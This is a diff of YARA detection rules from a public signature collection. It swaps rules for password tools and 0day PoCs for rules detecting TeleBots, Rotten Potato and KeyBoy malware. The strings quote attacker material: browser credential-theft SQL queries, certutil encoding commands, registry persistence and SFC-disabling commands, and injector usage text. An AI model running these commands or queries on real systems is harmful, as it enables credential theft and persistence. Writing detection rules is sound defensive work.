-		hash2 = "95ec84dc709af990073495082d30309c42d175c40bd65cad267e6f103852a02d"
+		hash1 = "26173c9ec8fd1c4f9f18f89683b23267f6f9d116196ed15655e9cb453af2890e"
 
 	strings:
-		$s1 = "ast64.dll" fullword ascii
-		$s2 = "ast.dll" fullword wide
-		$s3 = "c:\\%s.lvc" fullword ascii
-		$s4 = "c:\\%d.lvc" fullword ascii
-		$s5 = "Asterisk Hook Library" fullword wide
-		$s6 = "?Ast_StartRd64@@YAXXZ" fullword ascii
-		$s7 = "Global\\{1374821A-281B-9AF4-%04X-12345678901234}" fullword ascii
-		$s8 = "2004-2013 Passcape Software" fullword wide
-		$s9 = "Global\\Passcape#6712%04X" fullword ascii
+		$s1 = "Plug-And-Play Support Service" fullword wide
+		$s2 = " /c \"echo Y|" fullword wide
+		$s3 = "%d.%d.%d#%d:%d" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 3 of them )
+		( uint16(0)==0x5a4d and filesize <500KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_WPR_Windowspasswordrecovery_EXE : FILE
+rule SIGNATURE_BASE_Telebots_Credraptor_Password_Stealer : FILE
 {
 	meta:
-		description = "Windows Password Recovery - file wpr.exe"
+		description = "Detects TeleBots malware - CredRaptor Password Stealer"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7fa2062c-75dd-55aa-8775-631a9c1a497e"
-		date = "2017-03-15"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3574-L3603"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0f2995a8ba1644d384167221560aa0c3f074e8e2cf2b79bbb06537fcaed2df7f"
+		id = "f594a946-13b4-5179-9029-a0730634d55f"
+		date = "2016-12-14"
+		modified = "2023-01-06"
+		reference = "https://goo.gl/4if3HG"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_telebots.yar#L70-L88"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ed884cb7643a61109f87e2887bed7ddb838c73bce28812b76c35bb807629e116"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c1c64cba5c8e14a1ab8e9dd28828d036581584e66ed111455d6b4737fb807783"
+		hash1 = "50b990f6555055a265fde98324759dbc74619d6a7c49b9fd786775299bf77d26"
 
 	strings:
-		$x1 = "UuPipe" fullword ascii
-		$x2 = "dbadllgl" fullword ascii
-		$x3 = "UkVHSVNUUlkgTU9O" fullword ascii
-		$x4 = "RklMRSBNT05JVE9SIC0gU1l" fullword ascii
-		$s1 = "WPR.exe" fullword wide
-		$s2 = "Windows Password Recovery" fullword wide
-		$op0 = { 5f df 27 17 89 }
-		$op1 = { 5f 00 00 f2 e5 cb 97 }
-		$op2 = { e8 ed 00 f0 cc e4 00 a0 17 }
+		$s1 = "C:\\Documents and Settings\\Administrator\\Desktop\\GetPAI\\Out\\IE.pdb" fullword ascii
+		$s2 = "SELECT encryptedUsername, encryptedPassword, hostname,httpRealm FROM moz_logins" fullword ascii
+		$s3 = "SELECT ORIGIN_URL,USERNAME_VALUE,PASSWORD_VALUE FROM LOGINS" fullword ascii
+		$s4 = ".\\PAI\\IEforXPpasswords.txt" ascii
+		$s5 = "\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" ascii
+		$s6 = "Opera old version credentials" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <20000KB and (1 of ($x*) or all of ($s*) or all of ($op*))
+		( uint16(0)==0x5a4d and filesize <2000KB and 2 of them ) or (4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_WPR_Windowspasswordrecovery_EXE_64 : FILE
+rule SIGNATURE_BASE_Telebots_VBS_Backdoor_1 : FILE
 {
 	meta:
-		description = "Windows Password Recovery - file ast64.exe"
+		description = "Detects TeleBots malware - VBS Backdoor"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0f6c7695-e616-5757-b9cd-8cff5f972c3e"
-		date = "2017-03-15"
+		id = "2b711f66-8ec5-5b9a-a762-7e6668c821c9"
+		date = "2016-12-14"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3605-L3622"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6cdd46609d401b7c12b936de7f64bab0bc45b9d2c6079fae45a96f5be6857b82"
+		reference = "https://goo.gl/4if3HG"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_telebots.yar#L90-L106"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4ff4963058674cf71c123af74c0947da2edf3b5e2622261d14200f406dbe2992"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4e1ea81443b34248c092b35708b9a19e43a1ecbdefe4b5180d347a6c8638d055"
+		hash1 = "eb31a918ccc1643d069cf08b7958e2760e8551ba3b88ea9e5d496e07437273b2"
 
 	strings:
-		$s1 = "%B %d %Y  -  %H:%M:%S" fullword wide
-		$op0 = { 48 8d 8c 24 50 22 00 00 e8 bf eb ff ff 4c 8b c7 }
-		$op1 = { ff 15 16 25 01 00 f7 d8 1b }
-		$op2 = { e8 c2 26 00 00 83 20 00 83 c8 ff 48 8b 5c 24 30 }
+		$s1 = "cmd = \"cmd.exe /c \" + arg + \" >\" + outfile +\" 2>&1\"" fullword ascii
+		$s2 = "GetTemp = \"c:\\WINDOWS\\addins\"" fullword ascii
+		$s3 = "elseif (arg0 = \"-dump\") Then" fullword ascii
+		$s4 = "decode = \"certutil -decode \" + source + \" \" + dest  " fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		( uint16(0)==0x6553 and filesize <8KB and 1 of them ) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Beyondexec_Remoteaccess_Tool : FILE
+rule SIGNATURE_BASE_Telebots_VBS_Backdoor_2 : FILE
 {
 	meta:
-		description = "Detects BeyondExec Remote Access Tool - file rexesvr.exe"
+		description = "Detects TeleBots malware - VBS Backdoor"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fd68cb45-a46f-53d7-bf52-8f7bd3636d0d"
-		date = "2017-03-17"
+		id = "151849af-f1d0-529c-94f2-287312f6515e"
+		date = "2016-12-14"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/BvYurS"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3634-L3652"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6f21ddf04ab0d29549c3d07a45afb3e7648a15b0c81f88b8d7ccccc436ba4084"
+		reference = "https://goo.gl/4if3HG"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_telebots.yar#L108-L123"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "299a2ca6eacc29b4a7697a8502a56cffda4f6bc6b3354d3cc133712c1755c476"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3d3e3f0708479d951ab72fa04ac63acc7e5a75a5723eb690b34301580747032c"
+		hash1 = "1b2a5922b58c8060844b43e14dfa5b0c8b119f281f54a46f0f1c34accde71ddb"
 
 	strings:
-		$x1 = "\\BeyondExecV2\\Server\\Release\\Pipes.pdb" ascii
-		$x2 = "\\\\.\\pipe\\beyondexec%d-stdin" fullword ascii
-		$x3 = "Failed to create dispatch pipe. Do you have another instance running?" fullword ascii
-		$op1 = { 83 e9 04 72 0c 83 e0 03 03 c8 ff 24 85 80 6f 40 }
-		$op2 = { 6a 40 33 c0 59 bf e0 d8 40 00 f3 ab 8d 0c 52 c1 }
+		$s1 = "cmd = \"cmd.exe /c \" + arg + \" \" + arg2" fullword ascii
+		$s2 = "Dim WMI:  Set WMI = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")" fullword ascii
+		$s3 = "cmd = \"certutil -encode -f \" + source + \" \" + dest" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and (1 of ($x*) or all of ($op*))) or (3 of them )
+		( uint16(0)==0x6944 and filesize <30KB and 1 of them ) or (2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Mimikatz_Gen_Strings : FILE
+rule SIGNATURE_BASE_Telebots_Win64_Spy_Keylogger_G : FILE
 {
 	meta:
-		description = "Detects Mimikatz by using some special strings"
+		description = "Detects TeleBots malware - Win64 Spy KeyLogger G"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3f4ab5d7-5a9f-55f0-9dda-e2975df582a0"
-		date = "2017-06-19"
+		id = "fd16a198-1b28-532b-a1ba-70680469ec51"
+		date = "2016-12-14"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3654-L3676"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "371e74538a63cfe355ebd31e1ac73cd25e92f3a7ce3f9299e0f3406f2bcb5b01"
+		reference = "https://goo.gl/4if3HG"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_telebots.yar#L125-L144"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1b4db8f290bd4f943a90669afd5bff6b766d0723fb3ee9c69d7097e737beadc8"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "058cc8b3e4e4055f3be460332a62eb4cbef41e3a7832aceb8119fd99fea771c4"
-		hash2 = "eefd4c038afa0e80cf6521c69644e286df08c0883f94245902383f50feac0f85"
-		hash3 = "f35b589c1cc1c98c4c4a5123fd217bdf0d987c00d2561992cbfb94bd75920159"
+		hash1 = "e3f134ae88f05463c4707a80f956a689fba7066bb5357f6d45cba312ad0db68e"
 
 	strings:
-		$s1 = "[*] '%s' service already started" fullword wide
-		$s2 = "** Security Callback! **" fullword wide
-		$s3 = "Try to export a software CA to a crypto (virtual)hardware" fullword wide
-		$s4 = "enterpriseadmin" fullword wide
-		$s5 = "Ask debug privilege" fullword wide
-		$s6 = "Injected =)" fullword wide
-		$s7 = "** SAM ACCOUNT **" fullword wide
+		$s1 = "C:\\WRK\\GHook\\gHook\\x64\\Debug\\gHookx64.pdb" fullword ascii
+		$s2 = "Install hooks error!" fullword wide
+		$s4 = "%ls%d.~tmp" fullword wide
+		$s5 = "[*]Window PID > %d: " fullword wide
+		$s6 = "Install hooks ok!" fullword wide
+		$s7 = "[!]Clipboard paste" fullword wide
+		$s9 = "[*] IMAGE : %ls" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <12000KB and 1 of them )
+		( uint16(0)==0x5a4d and filesize <600KB and 1 of them ) or (3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Disclosed_0Day_Pocs_Lpe : FILE
+rule SIGNATURE_BASE_Rottenpotato_Potato : FILE
 {
 	meta:
-		description = "Detects POC code from disclosed 0day hacktool set"
+		description = "Detects a component of privilege escalation tool Rotten Potato - file Potato.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d3693d1d-6085-5e62-8f0b-dde5b14758b7"
-		date = "2017-07-07"
-		modified = "2023-12-05"
-		reference = "Disclosed 0day Repos"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3688-L3709"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "77d72792d7fcf2c54b36d124448e928f306981296715e583d346ccd101e22fc7"
-		score = 75
+		id = "4a12783c-f58a-518b-a80a-f09f146304cc"
+		date = "2017-02-07"
+		modified = "2022-12-21"
+		reference = "https://github.com/foxglovesec/RottenPotato"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rottenpotato.yar#L10-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "79d2dfd5c2cfd12301c1924dce2ca2a2c3cc070565671c3e0cd69123d2245b1c"
+		score = 90
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e10ee278f4c86d6ee1bd93a7ed71d4d59c0279381b00eb6153aedfb3a679c0b5"
-		hash2 = "a5916cefa0f50622a30c800e7f21df481d7a3e1e12083fef734296a22714d088"
-		hash3 = "5b701a5b5bbef7027711071cef2755e57984bfdff569fe99efec14a552d8ee43"
+		hash1 = "59cdbb21d9e487ca82748168682f1f7af3c5f2b8daee3a09544dd58cbf51b0d5"
 
 	strings:
-		$x1 = "msiexec /f c:\\users\\%username%\\downloads\\" ascii
-		$x2 = "c:\\users\\%username%\\downloads\\bat.bat" fullword ascii
-		$x3 = "\\payload.msi /quiet" ascii
-		$x4 = "\\payload2\\WindowsTrustedRTProxy.sys" wide
-		$x5 = "\\payload2" wide
-		$x6 = "\\payload" wide
-		$x7 = "WindowsTrustedRTProxy.sys /grant:r administrators:RX" ascii
+		$x1 = "Potato.exe -ip <ip>" fullword wide
+		$x2 = "-enable_httpserver true -enable_spoof true" fullword wide
+		$x3 = "/C schtasks.exe /Create /TN omg /TR" fullword wide
+		$x4 = "-enable_token true -enable_dce true" fullword wide
+		$x5 = "DNS lookup succeeds - UDP Exhaustion failed!" fullword wide
+		$x6 = "DNS lookup fails - UDP Exhaustion worked!" fullword wide
+		$x7 = "\\obj\\Release\\Potato.pdb" ascii
+		$x8 = "function FindProxyForURL(url,host){if (dnsDomainIs(host, \"localhost\")) return \"DIRECT\";" fullword wide
+		$s1 = "\"C:\\Windows\\System32\\cmd.exe\" /K start" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <70KB and 1 of them )
+		( uint16(0)==0x5a4d and filesize <200KB and 1 of ($x*)) or (2 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Disclosed_0Day_Pocs_Exploit : FILE
+rule SIGNATURE_BASE_Keyboys_Malware_1 : FILE
 {
 	meta:
-		description = "Detects POC code from disclosed 0day hacktool set"
+		description = "Detects Keyboys malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "72b8aafd-d79a-5812-90fd-5d5aca109254"
-		date = "2017-07-07"
+		id = "4e334f62-6ffc-55c3-bcbe-ff4a80fb007d"
+		date = "2017-11-02"
 		modified = "2023-12-05"
-		reference = "Disclosed 0day Repos"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3711-L3725"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "12a7a04fdc621242f42107204996e44b1962b5ac5eef4f9b9cbbe0ad52b85676"
+		reference = "http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_keyboys.yar#L13-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "78fb48c4b3e09f0d55ca6049601ea62dd526167481725b48de6624bb27fb943b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "632d35a0bac27c9b2f3f485d43ebba818089cf72b3b8c4d2e87ce735b2e67d7e"
+		hash1 = "1d716cee0f318ee14d7c3b946a4626a1afe6bb47f69668065e00e099be362e22"
+		hash2 = "a6e9951583073ab2598680b17b8b99bab280d6dca86906243bafaf3febdf1565"
+		hash3 = "34f740e5d845710ede1d942560f503e117600bcc7c5c17e03c09bfc66556196c"
+		hash4 = "750f4a9ae44438bf053ffb344b959000ea624d1964306e4b3806250f4de94bc8"
+		hash5 = "fc84856814307a475300d2a44e8d15635dedd02dc09a088a47d1db03bc309925"
+		hash6 = "0f9a7efcd3a2b1441834dae7b43cd8d48b4fc1daeb2c081f908ac5a1369de753"
 
 	strings:
-		$x1 = "\\Release\\exploit.pdb" ascii
-		$x2 = "\\favorites\\stolendata.txt" wide
+		$x1 = "reg add HKLM\\%s\\Parameters /v ServiceDll /t REG_EXPAND_SZ /d \"%s\" /f" fullword ascii
+		$x3 = "Internet using \\svchost.exe -k  -n 3" fullword ascii
+		$x4 = "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v SFCDisable /t REG_DWORD /d 4 /f" fullword ascii
+		$s1 = "sc create %s binpath= \"%s\" Type= share Start= auto DisplayName= \"%s\"" fullword ascii
+		$s2 = "ExecCmd:%s" fullword ascii
+		$s3 = "szCommand : %s" fullword ascii
+		$s4 = "Current user is a member of the %s\\%s group" fullword ascii
+		$s5 = "icacls %s /grant administrators:F" fullword ascii
+		$s6 = "Ping 127.0.0.1 goto Repeat" fullword ascii
+		$s7 = "Start MoveFile %s -> %s" fullword ascii
+		$s8 = "move %s\\dllcache%s %s\\dllcache\\%s" fullword ascii
+		$s9 = "%s\\cmd.exe /c \"%s\"" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <3000KB and (pe.imphash()=="68f7eced34c46808756db4b0c45fb589" or (pe.exports("Insys") and pe.exports("Inuser") and pe.exports("SSSS")) or 1 of ($x*) or 4 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Disclosed_0Day_Pocs_Injectdll : FILE
+rule SIGNATURE_BASE_Keyboy_Installclient : FILE
 {
 	meta:
-		description = "Detects POC code from disclosed 0day hacktool set"
-		author = "Florian Roth (Nextron Systems)"
-		id = "90a4dca0-4f12-5946-9d5d-0b93bb5a3c5d"
-		date = "2017-07-07"
-		modified = "2022-12-21"
-		reference = "Disclosed 0day Repos"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3727-L3745"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b0a9bd4fa2d8a1192258b303cb757c8bbce7f6962a1d895f57add8a1c3887799"
+		description = "Detects KeyBoy InstallClient"
+		author = "Markus Neis, Florian Roth"
+		id = "d1359f35-d6cd-502b-8cf7-6215bf5e62ba"
+		date = "2018-03-26"
+		modified = "2023-12-05"
+		reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_keyboys.yar#L52-L73"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "701b87785562dc391191b1e59573c6027b27c4fffe1c9155a82114521c85bc59"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "173d3f78c9269f44d069afbd04a692f5ae42d5fdc9f44f074599ec91e8a29aa2"
+		hash1 = "85d32cb3ae046a38254b953a00b37bb87047ec435edb0ce359a867447ee30f8b"
+		hash2 = "b0f120b11f727f197353bc2c98d606ed08a06f14a1c012d3db6fe0a812df528a"
+		hash1 = "d65f809f7684b28a6fa2d9397582f350318027999be3acf1241ff44d4df36a3a"
 
 	strings:
-		$x1 = "\\Release\\InjectDll.pdb" ascii
-		$x2 = "Specify -l to list all IE processes running in the current session" fullword ascii
-		$x3 = "Usage: InjectDll -l|pid PathToDll" fullword ascii
-		$x4 = "Injecting DLL: %ls into PID: %d" fullword ascii
-		$x5 = "Error adjusting privilege %d" fullword ascii
+		$x1 = "egsvr32.exe \"/u bitsadmin /canceft\\windows\\currebitsadmin" ascii
+		$x2 = "/addfibitsadmin /Resumbitsadmin /SetNosoftware\\microsotifyCmdLine " ascii
+		$x3 = "D:\\Work\\Project\\VS\\house\\Apple\\" ascii
+		$x4 = "Bj+I11T6z9HFMG5Z5FMT/u62z9zw8FyWV0xrcK7HcYXkiqnAy5tc/iJuKtwM8CT3sFNuQu8xDZQGSR6D8/Bc/Dpuz8gMJFz+IrYqNAzwuPIitg==" fullword ascii
+		$x5 = "szCmd1:%s" fullword ascii
+		$s1 = "cmd.exe /c \"%s\"" fullword ascii
+		$s4 = "rundll32.exe %s Main" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <3000KB and (1 of ($x*) or 2 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Disclosed_0Day_Pocs_Payload_MSI : FILE
+rule SIGNATURE_BASE_Keyboy_Wab32Res : FILE
 {
 	meta:
-		description = "Detects POC code from disclosed 0day hacktool set"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fe32af56-d5a1-5246-a7df-395b9cd02faf"
-		date = "2017-07-07"
-		modified = "2022-12-21"
-		reference = "Disclosed 0day Repos"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3747-L3763"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7dfc8d2bd871ad6acb7d362a946d34ed1830f42ab625c3d3d9cb512f28ccdb57"
+		description = "Detects KeyBoy Loader wab32res.dll"
+		author = "Markus Neis, Florian Roth"
+		id = "0e4045a7-1c45-5043-9e10-e969219b67f8"
+		date = "2018-03-26"
+		modified = "2023-12-05"
+		reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_keyboys.yar#L75-L96"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5e23bfeed0587ac69527234dd3f8b4f8c5628128ab667af7b99c4d75ca99459b"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a7c498a95850e186b7749a96004a98598f45faac2de9b93354ac93e627508a87"
+		hash1 = "02281e26e89b61d84e2df66a0eeb729c5babd94607b1422505cd388843dd5456"
+		hash2 = "fb9c9cbf6925de8c7b6ce8e7a8d5290e628be0b82a58f3e968426c0f734f38f6"
 
 	strings:
-		$s1 = "WShell32.dll" fullword wide
-		$s2 = "Target empty, so account name translation begins on the local system." fullword wide
-		$s3 = "\\custact\\x86\\AICustAct.pdb" ascii
+		$x1 = "B4490-2314-55C1- /Processid:{321bitsadmin /canceft\\windows\\curresoftware\\microso" fullword ascii
+		$x2 = "D:\\Work\\VS\\House\\TSSL\\TSSL\\TClient" ascii
+		$x3 = "\\Release\\FakeRun.pdb" ascii
+		$x4 = "FakeRun.dll" fullword ascii
+		$s1 = "cmd.exe /c \"%s\"" fullword ascii
+		$s2 = "CreateProcess failed (%d)" fullword ascii
+		$s3 = "CreateProcess %s " fullword ascii
+		$s4 = "FindResource %s error " fullword ascii
 
 	condition:
-		( uint16(0)==0xcfd0 and filesize <1000KB and all of them )
+		uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or 4 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Disclosed_0Day_Pocs_Injector : FILE
+rule SIGNATURE_BASE_Keyboy_Rasauto : FILE
 {
 	meta:
-		description = "Detects POC code from disclosed 0day hacktool set"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6de89a84-fe16-5064-8cbb-a3b9003f4c0c"
-		date = "2017-07-07"
+		description = "Detects KeyBoy ServiceClient"
+		author = "Markus Neis, Florian Roth"
+		id = "b6c72a91-fda1-5f40-804f-896b25a8813f"
+		date = "2018-03-26"
 		modified = "2023-12-05"
-		reference = "Disclosed 0day Repos"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3765-L3785"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "37ed19fe19d3645adcd5fa7d6f6b3572d2821fdb78a6d0c8afdba6ccecfc8528"
+		reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_keyboys.yar#L98-L126"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "87529000522d5fad4346a0228c96d3adf122587d91b0cff083948787e53cc024"
 		score = 75
-		quality = 60
+		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ba0e2119b2a6bad612e86662b643a404426a07444d476472a71452b7e9f94041"
+		hash1 = "49df4fec76a0ffaee5e4d933a734126c1a7b32d1c9cb5ab22a868e8bfc653245"
 
 	strings:
-		$x1 = "\\Release\\injector.pdb" ascii
-		$x2 = "Cannot write the shellcode in the process memory, error: " fullword ascii
-		$x3 = "/s shellcode_file PID: shellcode injection." fullword ascii
-		$x4 = "/d dll_file PID: dll injection via LoadLibrary()." fullword ascii
-		$x5 = "/s shellcode_file PID" fullword ascii
-		$x6 = "Shellcode copied in memory: OK" fullword ascii
-		$x7 = "Usage of the injector. " fullword ascii
-		$x8 = "KO: cannot obtain the SeDebug privilege." fullword ascii
+		$x1 = "rundll32.exe %s SSSS & exit" fullword ascii
+		$x2 = "D:\\Work\\Project\\VS\\HSSL\\HSSL_Unicode _2\\Release\\ServiceClient.pdb" fullword ascii
+		$s1 = "cmd.exe /c \"%s\"" fullword ascii
+		$s2 = "CreateProcess failed (%d)" fullword ascii
+		$s3 = "ServiceClient.dll" fullword ascii
+		$s4 = "NtWow64QueryInformationProcess64 failed" fullword ascii
+		$s5 = "pid:%d CmdLine:%S" fullword ascii
+		$s6 = "rasauto32.ServiceMain" fullword ascii
+		$s7 = "del /q/f %s\\%s*" fullword ascii
+		$s8 = "szTmpDll:%s" fullword ascii
+		$s9 = "lpCmdLine:%s" fullword ascii
+		$s0 = "ReleaseFileFromRes:%s ok!" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <90KB and 1 of them ) or 3 of them
+		uint16(0)==0x5a4d and filesize <1000KB and (pe.exports("SSSS") or 1 of ($x*) or 4 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Disclosed_0Day_Pocs_Lpe_2 : FILE
+rule SIGNATURE_BASE_Keyboy_876_0X4E20000 : FILE
 {
 	meta:
-		description = "Detects POC code from disclosed 0day hacktool set"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9326bbae-81ee-588e-8581-628b47d348f8"
-		date = "2017-07-07"
+		description = "Detects KeyBoy Backdoor"
+		author = "Markus Neis, Florian Roth"
+		id = "0b871f62-0f7c-5c94-9b3d-f68832ab64b4"
+		date = "2018-03-26"
 		modified = "2023-12-05"
-		reference = "Disclosed 0day Repos"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3787-L3802"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e9ca23e4375674ea189d5e9de015f6a1ae16c30d35378580bdc8f42007b716df"
+		reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_keyboys.yar#L128-L155"
